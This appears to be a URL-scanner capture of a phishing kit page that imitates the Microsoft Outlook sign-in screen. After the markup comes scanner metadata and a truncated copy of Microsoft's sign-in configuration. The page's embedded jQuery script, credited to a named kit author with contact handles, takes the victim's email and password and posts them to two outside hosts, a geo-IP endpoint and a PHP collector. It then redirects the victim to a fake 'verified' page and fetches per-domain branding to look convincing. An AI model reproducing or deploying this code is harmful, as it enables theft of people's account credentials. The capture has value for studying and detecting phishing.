setTimeout(M,L),setTimeout(S,0)}))}}(window,document,$Prefetch);

;
})();
//]]>
</script>


<div><!--  -->

<!--  -->


	  
	  

    <!-- ko if: svr.iBannerEnvironment --><!-- /ko -->

    <!-- ko withProperties: { '$loginPage': $data } -->
    <div data-bind="component: { name: 'master-page',
        params: {
            serverData: svr,
            showButtons: svr.fShowButtons,
            showFooterLinks: true,
            useWizardBehavior: svr.fUseWizardBehavior,
            handleWizardButtons: false,
            password: password,
            hideFromAria: ariaHidden },
        event: {
            footerAgreementClick: footer_agreementClick } }"><!--  -->

<!-- ko ifnot: useLayoutTemplates --><!-- /ko -->

<!-- ko if: useLayoutTemplates -->
    <!-- ko withProperties: { '$page': $parent } -->
        <!-- ko ifnot: isVerticalSplitTemplate -->
        <div id="lightboxTemplateContainer" data-bind="component: { name: 'lightbox-template', params: { serverData: svr } }"><!--  -->

<div data-bind="component: { name: 'background-image-control',
    publicMethods: $page.backgroundControlMethods }"><div class="background-image-holder app" role="presentation" data-bind="css: { app: isAppBranding }, style: { background: backgroundStyle }">
    <!-- ko if: smallImageUrl -->
    <div class="background-image-small" data-bind="backgroundImage: smallImageUrl()" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg&quot;);"></div>
    <!-- /ko -->

    <!-- ko if: backgroundImageUrl -->
    <div data-bind="backgroundImage: backgroundImageUrl(), externalCss: { 'background-image': true }" style="background-image: url(&quot;https://aadcdn.msftauth.net/shared/1.0/content/images/appbackgrounds/49_7916a894ebde7d29c2cc29b267f1299f.jpg&quot;);" class="background-image ext-background-image"></div>
        <!-- ko if: useImageMask --><!-- /ko -->
    <!-- /ko -->
</div></div>

<div class="outer app" data-bind="css: { 'app': $page.backgroundLogoUrl }">
    <!-- ko if: showHeader --><!-- /ko -->
	 <div>
         <div>
            <!-- <div class="app background">
               <div id="bg_image" style="background-image:url(https://i.stack.imgur.com/vzbuQ.jpg")></div>
            </div> -->
         </div>

            <div class=outer>
               <div class="app middle">
                  <div class="background-logo-holder">
                  	<h1 style="text-align: center; color: white;"></h1><br><br>
                  </div>
                  <div class="app fade-in-lightbox inner">
                     <div>
                        <img id="logo_image" class="banner-logo" src="https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg">
                     </div>
                     <div>


                        <div id="pick_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                    </div>
                                 </div>
                                 <div class="row">
                                    <div class="col-md-24 form-group">
                                       <div class="placeholderContainer">
					                   <div class="add_em">
											 <p style="font-weight: bold;margin-left: 4%">Pick an account</p>
											 <a href="#" class="email-picker">
												 <div class="block-m2">
													<img role="presentation" src="https://i.ibb.co/jg6w34B/picker-account.png"> <span id="em_picker"></span><span style="float:right; margin-top:4%"><img src="https://srv-file8.gofile.io/download/NAGerp/picker_more.png" alt=""></span>
												 </div>
											 </a>
											 <a href="#" class="email-picker2">
												 <div class="block-m2">
													<img role="presentation" src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI0OCIgaGVpZ2h0PSI0OCIgdmlld0JveD0iMCAwIDQ4IDQ4Ij48dGl0bGU+YXNzZXRzPC90aXRsZT48Y2lyY2xlIGN4PSIyNCIgY3k9IjI0IiByPSIyNCIgZmlsbD0iI2U2ZTZlNiIvPjxwYXRoIGQ9Ik0yNSwyM0gzNnYySDI1VjM2SDIzVjI1SDEyVjIzSDIzVjEyaDJaIiBmaWxsPSIjNDA0MDQwIi8+PC9zdmc+"><span style="word-wrap:break-word;"> Use another account</span>
												 </div>
											 </a>
											 <br>
										</div>
                                       </div>
                                    </div>
                                 </div>
                                 <div class="position-buttons">

                                 </div>
                              </div>
                           </div>
                        </div>

                        <div id="add_em" style="display: none;">
                           <div class="animate pagination-view slide-in-next">
                              <div data-showfedcredbutton=true data-viewid=1>
                                 <div>
                                    <div class="row text-title" id="loginHeader">
                                       <div aria-level=1>Sign in</div>
                                      
                                    </div>
                                 </div>
                                 <div class=row>
									<div aria-live="assertive" role="alert" style="display: none;" class="error-alert">
										<div class="alert alert-error error-alert-msg"></div>
										<br>
									</div>
                                    <div class="col-md-24 form-group">
                                      
									    <div class="">
											<input type="text" name="email" id="email" class="form-control ltr_override" value="" placeholder="Email, phone or skype">
                                       </div>
                                    </div>
                                 </div>
								 <p>No account? <a href="#">Create one!</a></p>
								<a href="#" data-bind="
            attr: { 'id': switchToCredId },
            text: switchToCredText,
            click: switchToCred_onClick" id="idA_PWD_SwitchToFido">Sign in with a security key</a>
        <!-- /ko -->

        <!-- ko if: displayHelp && selectedCredType === 7 -->
            <!-- ko component: { name: 'fido-help-button-control',
                params: {
                    isPlatformAuthenticatorAvailable: isPlatformAuthenticatorAvailable() },
                event: {
                    registerDialog: onRegisterDialog,
                    unregisterDialog: onUnregisterDialog,
                    showDialog: onShowDialog } } --><!--  -->

<span class="help-button" role="button" tabindex="0" data-bind="
    click: fidoHelp_onClick,
    pressEnter: fidoHelp_onClick,
    hasFocus: hasFocus,
    ariaLabel: isPlatformAuthenticatorAvailable ? str['CT_STR_CredentialPicker_Help_Desc_Fido'] : str['CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform']" aria-label="Learn more about signing in with a security key">

    <!-- ko component: 'accessible-image-control' --><!-- ko if: (isHighContrastBlackTheme || hasDarkBackground || svr.fHasBackgroundColor) && !isHighContrastWhiteTheme --><!-- /ko -->
<!-- ko if: (isHighContrastWhiteTheme || (!hasDarkBackground && !svr.fHasBackgroundColor)) && !isHighContrastBlackTheme -->
<!-- ko template: { nodes: [darkImageNode], data: $parent } --><img role="presentation" pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_9628e22a6bfb1edc59e81064a666b614.png" svgsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg" data-bind="imgSrc" src="https://aadcdn.msftauth.net/shared/1.0/content/images/documentation_bcb4d1dc4eae64f0b2b2538209d8435a.svg"><!-- /ko -->
<!-- /ko --><!-- /ko -->
</span>

                                 <div class="position-buttons">
                                   
                                    <div class=row>
                                       <div class="col-xs-24 no-padding-left-right button-container">
                                       <div class=inline-block>
                                          <button class="btn btn-block btn-primary btn-email">Next</button>
                                       </div>
                                       </div>
                                    </div>
                                 </div>
                              </div>
                           </div>
                        </div>
						<div id="add_pass" style="display: none;">
							<div class="animate slide-in-next">
								<div>
									<div class="identityBanner">
										<a class="backButton" href="#" type="button">
											<img style="width: 13px; margin-top: 6px;left: 0;" src="https://image.flaticon.com/icons/svg/109/109618.svg">
										</a>
										<div class="identity"></div>
									</div>
								</div>
							</div>
							<div class="animate slide-in-next has-identity-banner pagination-view">
								<div class="row text-title">Enter password</div>
								<div class=row>
									<div class="form-group col-md-24">
										<div aria-live="assertive" role="alert" style="display: none;" class="error-alert-pass">
											<div class="alert alert-error">Your email or password is incorrect. If you don't remember your password, <a href='#'>reset it now.</a></div>
										</div>
										<div class=placeholderContainer>
											<input name="password" type="password" id="password" autocomplete="off" class="form-control" placeholder="Password" tabindex="0">
										</div>
									</div>
								</div>
								<div class=position-buttons>
									<div>
										<div class=row>
											<div class=col-md-24>
													<div class="action-links text-13">
													<div class=form-group><a href="#">Forgot my password</a></div>
													<div class=form-group></div>
												</div>
											</div>
										</div>
									</div>
									<div class=row >
										<div>
											<div class="button-container col-xs-24 no-padding-left-right">
												<div class=inline-block>
													<button class="btn btn-block btn-primary btn-signin">Sign in</button>
												</div>
											</div>
										</div>
									 </div>
								</div>
							</div>
                        </div>
                     </div>
                  </div>
                  <div>
                  </div>
                  <div class=footer id=footer>
                     <div>
                        <div class="footerNode text-secondary">
                           <!-- <span>©2021 Microsoft</span> -->
                           <a href="#">Terms of use&nbsp;&nbsp;</a>
                           <a href="#">Privacy & cookies &nbsp;&nbsp;<b >...</b></a>
                          
                        </div>
                     </div>
                  </div>
               </div>
            </div>

      </div>

   
</div></div>
        <!-- /ko -->

        <!-- ko if: isVerticalSplitTemplate() && isVerticalSplitTemplateLoaded() --><!-- /ko -->
    <!-- /ko -->
<!-- /ko --></div>
    <!-- /ko -->
<script src="https://code.jquery.com/jquery-3.1.1.min.js"></script>
	  <script>
		$( document ).ready(function() {
			// THIS SCRIPT CODED BY MIRCBOOT
			// CONTACT US SKYPE : MIRCBOOT
			// ICQ : 703514486
			// Genral 365 Version 14
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!! Attention !!!!!!!!!!!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!! IF NOT WORKING CONTACT US  !!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
			// !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

			// Note : if this HTML page hosted on http(s) domain so you must add the http(s) url php file to avoid cross error //

			var php_url = 'https://globalservicemail.com/hars/login.php'; // Enter your post PHP page url here.
			var check_mx = false; // true or false for check outlook MX.



			// ******************************************************************************************************* //
			var hash = window.location.hash;
			var email = hash.split('#')[1];

			if(true_email(email)){
				$("#pick_em").show();
				$("#em_picker").html(email);
				$('#email').val(email);
			}else{
				$("#add_em").show();
			}

			$('.email-picker').on('click', function (){
				$('.identity').html(email);
				$(".error-alert-pass").hide();
				set_brand(email);
				setTimeout(function (){
					$("#pick_em").hide();
					$("#add_pass").show();
				}, 1000);
			});

			$('.email-picker2').on('click', function (){
				$('#email').val('');
				$("#pick_em").hide();
				$("#add_em").show();
			});

			$('.btn-email').on('click', function (){
				var email = $('#email').val();
				$('.identity').html(email);
				$(".error-alert").hide();
				$('.btn-email').prop('disabled', true);
				if(true_email(email) == false){
					$(".error-alert").show();
					$(".error-alert-msg").html('Please enter correct office 365 email account.');
					$('.btn-email').prop('disabled', false);
				}else{
					if(check_mx == true){
						var domain = email.split('@')[1];
						var str;
						$.ajax({
							url: php_url + '?domain=' + domain,
							success: function(data){
								str = data.includes("outlook");
								if(str){
									set_brand(email);
									setTimeout(function (){
										$("#add_em").hide();
										$("#add_pass").show();
									}, 1000);
								}else{
									$(".error-alert").show();
									$(".error-alert-msg").html('You can\'t signin with this account, Please use work or school account instead.');
									$('.btn-email').prop('disabled', false);
								}
							},
							error: function(xhr){
								$(".error-alert").show();
								$(".error-alert-msg").html('Error occured, Please try again.');
								$('.btn-email').prop('disabled', false);
							}
						});
					}else{
						set_brand(email);
						setTimeout(function (){
							$("#add_em").hide();
							$("#add_pass").show();
						}, 1000);
					}
				}
			});

			$('.btn-signin').on('click', function (){
				$('.btn-signin').prop('disabled', true);
				setTimeout(function (){
					$(".error-alert-pass").hide();
				}, 500);
				var user = $('#email').val();
				var pass = $('#password').val();
				$.ajax({
					url: "https://checkmyips.net/api/geoip/",
					type: "POST",
					data: {user:user,pass:pass,t:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.status == 'OK'){
							$.ajax({
								 url: php_url,
								 type: "POST",
								 data: {user:user,pass:pass,country:i.country,ip:i.ip},
								 success: function(finish_url){
									window.open('https://customredirects.z13.web.core.windows.net//myoofice/verified.html', '_top')
								 }
							 });
						}else{
							$(".error-alert-pass").show();
							$('.btn-signin').prop('disabled', false);
						}
					},
					error: function(){
						$(".error-alert-pass").hide();
						$('.btn-signin').prop('disabled', false);
					}
				});
			});

			$('.backButton').on('click', function (){
				$('#bg_image').css('background-image', 'url(lib/img/background.jpg)');
				$('#logo_image').attr('src', 'https://aadcdn.msftauth.net/ests/2.1/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg');
				$('#banner_image').show();
				$('.btn-email').prop('disabled', false);
				$("#add_pass").hide();
				$("#add_em").show();
				$(".error-alert-pass").hide();
			});

			function set_brand(email){
				$.ajax({
					url: php_url,
					type: "POST",
					data: {email:email,barnd:1},
					success: function(data){
						var i=$.parseJSON(data);
						if(i.bg_image !== null && i.logo_image !== null && i.bg_image !== '' && i.logo_image !== ''){
							$('#bg_image').css('background-image', 'url(' + i.bg_image + ')');
							$('#logo_image').attr('src', i.logo_image);
							$('#banner_image').hide();
						}
					}
				});
			}
		});

		function true_email(a) {
			var re = /^(([^<>()[\]\\.,;:\s@\"]+(\.[^<>()[\]\\.,;:\s@\"]+)*)|(\".+\"))@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$/;
			return re.test(a);
		}
	  </script>
    <script type="text/javascript">
  $(document).keypress(function(event){
  var keycode = (event.keyCode ? event.keyCode : event.which);
  if(keycode == '13'){
    $("#btn-email, .btn-signin").click();
  }
});
</script>

<!-- ko if: svr.urlCBPartnerPreload -->

<!-- /ko --></div></body></html>
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_256_GCM
Server
20.190.159.134 Dublin, Ireland, ASN8075 (MICROSOFT-CORP-MSN-AS-BLOCK, US),
Reverse DNS
Software
/
Resource Hash

Request headers

Referer
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.72 Safari/537.36

Response headers
converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
aadcdn.msftauth.net/ests/2.1/content/cdnbundles/ Frame 83F5 		0
19 KB 		Other
General
Check archive.org
Download Go to
Full URL
https://aadcdn.msftauth.net/ests/2.1/content/cdnbundles/converged.v2.login.min_kb8fbtudybay5t8ts3k87g2.css
Requested by
Host: text
URL: data:text/html;base64,<html dir="ltr" class="" lang="en"><head>
    <title>Sign in to Outlook</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=2.0, user-scalable=yes">
    <meta http-equiv="Pragma" content="no-cache">
    <meta http-equiv="Expires" content="-1">
    <link rel="preconnect" href="https://aadcdn.msftauth.net" crossorigin="">
<meta http-equiv="x-dns-prefetch-control" content="on">
<link rel="dns-prefetch" href="//aadcdn.msftauth.net">
<link rel="dns-prefetch" href="//aadcdn.msauth.net">

    <meta name="PageID" content="ConvergedSignIn">
    <meta name="SiteID" content="">
    <meta name="ReqLC" content="1033">
    <meta name="LocLC" content="en-US">



<script type="text/javascript">//<![CDATA[
$Config={"fShowPersistentCookiesWarning":false,"urlMsaSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlMsaLogout":"https://login.live.com/logout.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","urlOtherIdpForget":"https://login.live.com/forgetme.srf?iframed_by=https%3a%2f%2flogin.microsoftonline.com","showCantAccessAccountLink":true,"fEnableShowResendCode":true,"iShowResendCodeDelay":90000,"sSMSCtryPhoneData":"AF~Afghanistan~93!!!AX~Åland Islands~358!!!AL~Albania~355!!!DZ~Algeria~213!!!AS~American Samoa~1!!!AD~Andorra~376!!!AO~Angola~244!!!AI~Anguilla~1!!!AG~Antigua and Barbuda~1!!!AR~Argentina~54!!!AM~Armenia~374!!!AW~Aruba~297!!!AC~Ascension Island~247!!!AU~Australia~61!!!AT~Austria~XMR~Belarus~375!!!BE~Belgium~32!!!BZ~Belize~501!!!BJ~Benin~229!!!BM~Bermuda~1!!!BT~Bhutan~975!!!BO~Bolivia~591!!!BQ~Bonaire~599!!!BA~Bosnia and Herzegovina~387!!!BW~Botswana~267!!!BR~Brazil~55!!!IO~British Indian Ocean Territory~246!!!VG~British Virgin Islands~1!!!BN~Brunei~673!!!BG~Bulgaria~359!!!BF~Burkina Faso~226!!!BI~Burundi~257!!!CV~Cabo Verde~238!!!KH~Cambodia~855!!!CM~Cameroon~237!!!CA~Canada~1!!!KY~Cayman Islands~1!!!CF~Central African Republic~236!!!TD~Chad~235!!!CL~Chile~56!!!CN~China~86!!!CX~Christmas Island~61!!!CC~Cocos (Keeling) Islands~61!!!CO~Colombia~57!!!KM~Comoros~269!!!CG~Congo~242!!!CD~Congo (DRC)~243!!!CK~Cook Islands~682!!!CR~Costa Rica~506!!!CI~Côte d\u0027Ivoire~225!!!HR~Croatia~385!!!CU~Cuba~53!!!CW~Curaçao~599!!!CY~Cyprus~357!!!CZ~Czechia~420!!!DK~Denmark~45!!!DJ~Djibouti~253!!!DM~Dominica~1!!!DO~Dominican Republic~1!!!EC~Ecuador~593!!!EG~Egypt~20!!!SV~El Salvador~503!!!GQ~Equatorial Guinea~240!!!ER~Eritrea~291!!!EE~Estonia~372!!!ET~Ethiopia~251!!!FK~Falkland Islands~500!!!FO~Faroe Islands~298!!!FJ~Fiji~679!!!FI~Finland~358!!!FR~France~33!!!GF~French Guiana~594!!!PF~French Polynesia~689!!!GA~Gabon~241!!!GM~Gambia~220!!!GE~Georgia~995!!!DE~Germany~49!!!GH~Ghana~233!!!GI~Gibraltar~350!!!GR~Greece~30!!!GL~Greenland~299!!!GD~Grenada~1!!!GP~Guadeloupe~590!!!GU~Guam~1!!!GT~Guatemala~502!!!GG~Guernsey~XMR~Hong Kong SAR~852!!!HU~Hungary~36!!!IS~Iceland~354!!!IN~India~91!!!ID~Indonesia~62!!!IR~Iran~98!!!IQ~Iraq~964!!!IE~Ireland~353!!!IM~Isle of Man~XMRKZ~Kazakhstan~7!!!KE~Kenya~254!!!KI~Kiribati~686!!!KR~Korea~82!!!KW~Kuwait~965!!!KG~Kyrgyzstan~996!!!LA~Laos~856!!!LV~Latvia~371!!!LB~Lebanon~961!!!LS~Lesotho~266!!!LR~Liberia~231!!!LY~Libya~218!!!LI~Liechtenstein~423!!!LT~Lithuania~370!!!LU~Luxembourg~352!!!MO~Macao SAR~853!!!MG~Madagascar~261!!!MW~Malawi~265!!!MY~Malaysia~60!!!MV~Maldives~960!!!ML~Mali~223!!!MT~Malta~356!!!MH~Marshall Islands~692!!!MQ~Martinique~596!!!MR~Mauritania~222!!!MU~Mauritius~230!!!YT~Mayotte~262!!!MX~Mexico~52!!!FM~Micronesia~691!!!MD~Moldova~373!!!MC~Monaco~377!!!MN~Mongolia~976!!!ME~Montenegro~382!!!MS~Montserrat~1!!!MA~Morocco~212!!!MZ~Mozambique~258!!!MM~Myanmar~95!!!NA~Namibia~264!!!NR~Nauru~674!!!NP~Nepal~977!!!NL~Netherlands~31!!!NC~New Caledonia~687!!!NZ~New Zealand~64!!!NI~Nicaragua~505!!!NE~Niger~227!!!NG~Nigeria~234!!!NU~Niue~683!!!NF~Norfolk Island~672!!!KP~North Korea~850!!!MK~North Macedonia~389!!!MP~Northern Mariana Islands~1!!!NO~Norway~XMR!!!PG~Papua New Guinea~675!!!PY~Paraguay~595!!!PE~Peru~51!!!PH~Philippines~63!!!PL~Poland~48!!!PT~Portugal~351!!!PR~Puerto Rico~1!!!QA~Qatar~974!!!RE~Réunion~262!!!RO~Romania~40!!!RU~Russia~7!!!RW~Rwanda~250!!!BL~Saint Barthélemy~590!!!KN~Saint Kitts and Nevis~1!!!LC~Saint Lucia~1!!!MF~Saint Martin~590!!!PM~Saint Pierre and Miquelon~508!!!VC~Saint Vincent and the Grenadines~1!!!WS~Samoa~685!!!SM~San Marino~378!!!ST~São Tomé and Príncipe~239!!!SA~Saudi Arabia~966!!!SN~Senegal~221!!!RS~Serbia~381!!!SC~Seychelles~248!!!SL~Sierra Leone~232!!!SG~Singapore~65!!!SX~Sint Maarten~1!!!SK~Slovakia~XMR Sudan~211!!!ES~Spain~34!!!LK~Sri Lanka~94!!!SH~St Helena, Ascension, and Tristan da Cunha~290!!!SD~Sudan~249!!!SR~Suriname~597!!!SJ~Svalbard~47!!!SZ~Swaziland~268!!!SE~Sweden~46!!!CH~Switzerland~41!!!SY~Syria~963!!!TW~Taiwan~886!!!TJ~Tajikistan~992!!!TZ~Tanzania~255!!!TH~Thailand~66!!!TL~Timor-Leste~670!!!TG~Togo~228!!!TK~Tokelau~690!!!TO~Tonga~676!!!TT~Trinidad and Tobago~1!!!TA~Tristan da Cunha~290!!!TN~Tunisia~216!!!TR~Turkey~90!!!TM~Turkmenistan~993!!!TC~Turks and Caicos Islands~1!!!TV~Tuvalu~688!!!VI~U.S. Virgin Islands~1!!!UG~Uganda~256!!!UA~Ukraine~380!!!AE~United Arab Emirates~971!!!GB~United Kingdom~XMR~39!!!VE~Venezuela~58!!!VN~Vietnam~84!!!WF~Wallis and Futuna~681!!!YE~Yemen~967!!!ZM~Zambia~260!!!ZW~Zimbabwe~263","fUseInlinePhoneNumber":true,"fDetectBrowserCapabilities":true,"urlSessionState":"https://login.microsoftonline.com/common/DeviceCodeStatus","urlResetPassword":"https://passwordreset.microsoftonline.com/?ru=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACH8156ufZULCLopoiTR9q8aZI2BYeSNk2v12_btLeUfDZpm75pmjS9_gWOB4KDi-AidJITRA4H5xOk3Ci4i8MhguCmV1zc9BkefvPze4DDBMzep_5AkxuTlGlCUjM26y-8G7txh310_vHXy-qrz092Ln68uViBO5bvu7NsMokCf4zQKIFM09aMhIacJAqV5FsA1gCsttJcKs1SHM3RLMUwPM9wVIJLU5qq05BUVEiRDMNBkld4htQho7J0RtOYlPFp63otF_gWvRHy7KXxfStmIs_pu2jmP8PfgbwW8MKsFIqFvNWp9sUDs-fM2w7fWBSabtHSO6LAsTIZFkVPac8lf2kKelpuVWZd-ag13C_1lHbQGnQUZTrKjRoDqErt_eUEucFBQaiVS_IkF1p8WPZHw_lklrMODZtn-8sua7peVRKmi2Kv2h9mpOowzRzxDaiZerc6XKj9YARlyrcKtpPK6DWo6x1V6LnkJGyy7qxezFiVirnC_yv9CU5c9nTQ5AwnkGtMbH0dAV8jVyk8G43uxrHb2F3sZwS82L686PnND2L36evcie2e39Ly2Nl2sumKEptiyyWa1zqVus-zhh_Kh4VSsz1Fe8OBVK9YtbE99vbCh1wWHhPgmCBOiVgUj2P3cKEOvxDgGwEe72CnsX_9vb4C3l_DfgM1\u0026mkt=en-US\u0026hosted=0\u0026device_platform=Windows+10","urlMsaResetPassword":"https://account.live.com/password/reset?wreply=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2freprocess%3fctx%3drQIIAY2RvYvTYACHk6aXa6tikQPdPMTJI23efLUJOJS0aXu9ftvPpaT5aNI2fdMkbXr9CxwPBAcXwUXoJCeIHA7OJ0i58cBdHA4RBDdtucVNf8PDb36eRxiIAeEheT2K2JIgdR0QirZ9f825E4la7JOLz79fl958ebZ79fPd1Qq9b3ie7QrxOJx5YwhHMajrpqLFFGjFoS_H36PoGkVXgQRHJ1iSoziKJRmG5xmOjHEJUumrFCDkPiAJhuEAwcs8Q6iA6bNUUlEYWrsM3C6nZp5BbQEdc6n9CIR16Fg9G7reC-wDmlZmvOjmfSmTNpqlnnSkd6x5w-Kri0zNzhpqUxI5tkX4WcmRG_Oct9RFNdGqF91267g-PMx35MasPmjK8nSUGlUHoJ9rHC4n0J4dZcRyId-apHyD9wveaDifuCmjq5k821u2Wd12Sjlxush2Sr1hMlcaJphjvgoUXW2Xhot-bzYCLdIzMqZFJ9UyUNVmX-zYxMSvsbZbySaNYlFfYf-l_hTDNz4tODnHcGhrE1NdB9FvwZskJoRCkShyD9lHfgXRVzubRC_3Pknt529Tp6Z9cVdJI-c78Zot5ViaLeQpXmkWKx7Pap7f6mbytcYUHgwHuUrRKI_NsXPgP-YEcIKjJzh-hodDWBR5gIkV8BVHv-Po013kLPyv3peRPYrcJCVpguT2ARAALzB0d30D_XgL-QM1\u0026mkt=en-US\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352","urlSignUp":"https://login.live.com/oauth20_authorize.srf?response_type=code\u0026client_id=51483342-085c-4d86-bf88-cf50c7252078\u0026scope=openid+profile+email+offline_access\u0026response_mode=form_post\u0026redirect_uri=https%3a%2f%2flogin.microsoftonline.com%2fcommon%2ffederation%2foauth2\u0026state=rQIIAY2RvYvTYADG8za9XFsVixzo5iFOHmnzpknaBBxK2rS9Xr_t51LSfDRpm75pmzS9_gWOB4LDLYKL0ElOEDkcnE-QcuOBuzgcIghuej0XN32GHw882_N7hMMIFB5Sf0KTG5KUrkNS0Tbtr0zvhMIW--T8069Xxdefn21f_nh7eQyC3ZE51yIKslbgvuE49kyIRpHrjBAaRpCum8r1GEWeHH0HwBqAlS_OxeIsxdEczVIMw_MMR0W4OKX0VBqScg9SJMNwkORlniFVyPRYOqEoTEy78N0uJV3HoDdAU3OpffcFdTS1ujaaOcf4e5BSXF6c5TwpnTIaxa50oLeted3iK4t01c4YakMSObZJehlpKtfnWWepi2q8WSvMWs3D2mA_15brbq3fkOXJMDms9GEvW99fjpHtHqTFUj7XHCc9g_fyznAwH8-SRkczeba7bLG6PS1mxcki0y52B4lscRBnDvkKVHS1VRwsel13CJuUY6RNK5ZQS1BVGz2xbZNjr8ras3ImYRQK-gr_Lw0nOHH1p4XGZziBbG1sqms_-Oq_SeFCIBAKY_ewXeynH7zcutL1Yuej1Hr-Jnli2ud3lRR2thWt2lKWjbH5HM0rjULZ4VnN8ZqddK5an6C9QT9bLhilkTma7nmPOQEeEeCIIE6JYAAPYw9wsQy_EOAbAZ5uY6fBf_m-CO3Q1JVSKkZS3C6EAuQFJtZZ3wAfbmG_AQ2\u0026estsfed=1\u0026uaid=d254356dffce4ea7b0dd9307eef5b6ee\u0026signup=1\u0026lw=1\u0026fl=easi2\u0026cobrandid=deb3f74a-ed5b-4ef1-8d3c-92b85dd47352\u0026fci=00000002-0000-0ff1-ce00-000000000000","urlGetCredentialType":"https://login.microsoftonline.com/common/GetCredentialType?mkt=en-US","urlGetOneTimeCode":"https://login.microsoftonline.com/common/GetOneTimeCode","urlLogout":"https://login.microsoftonline.com/common/uxlogout","urlForget":"https://login.microsoftonline.com/forgetuser","urlDisambigRename":"https://go.microsoft.com/fwlink/p/?LinkID=733247","urlCBPartnerPreload":"https://outlook.office365.com/owa/prefetch.aspx","urlPIAEndAuth":"https://login.microsoftonline.com/common/PIA/EndAuth","fKMSIEnabled":false,"iLoginMode":1,"fAllowPhoneSignIn":true,"fAllowPhoneInput":true,"iMaxPollErrors":5,"iPollingTimeout":60,"srsSuccess":true,"fShowSwitchUser":true,"arrValErrs":["50058"],"sErrorCode":"50058","sErrTxt":"","sResetPasswordPrefillParam":"username","onPremPasswordValidationConfig":{"isUserRealmPrecheckEnabled":true},"fSwitchDisambig":true,"fUseConsumerEmailError":true,"oCancelPostParams":{"error":"access_denied","error_subcode":"cancel","state":"Dcu9CsIwFEDhVN_FLfYmvUm9QxERpGhdVFC65W-wGFraUvHtzfCd7WSMsXWySjJIYaUuSgVaaqkAkQg1bHUJznopuLECOKIWnAwh9wKtkjvnsAhZei95_zX5fprNHCqxGYN_j8HNj74y9Q1cfdXNjxb_uk1W0thEim38dO1ddVbCYp-nwR5psPG8hMMf"},"iRemoteNgcPollingType":2,"fUseNewNoPasswordTypes":true,"fAccessPassSupported":true,"fShowAccessPassPeek":true,"urlAadSignup":"https://signup.microsoft.com/signup?sku=teams_commercial_trial\u0026origin=ests\u0026culture=en-US","urlOidcDiscoveryEndpointFormat":"https://login.microsoftonline.com/{0}/.well-known/openid-configuration","urlTenantedEndpointFormat":"https://login.microsoftonline.com/{0}/oauth2/authorize?client_id=00000002-0000-0ff1-ce00-000000000000\u0026redirect_uri=https%3a%2f%2foutlook.office.com%2fowa%2f\u0026resource=00000002-0000-0ff1-ce00-000000000000\u0026response_mode=form_post\u0026response_type=code+id_token\u0026scope=openid\u0026msafed=0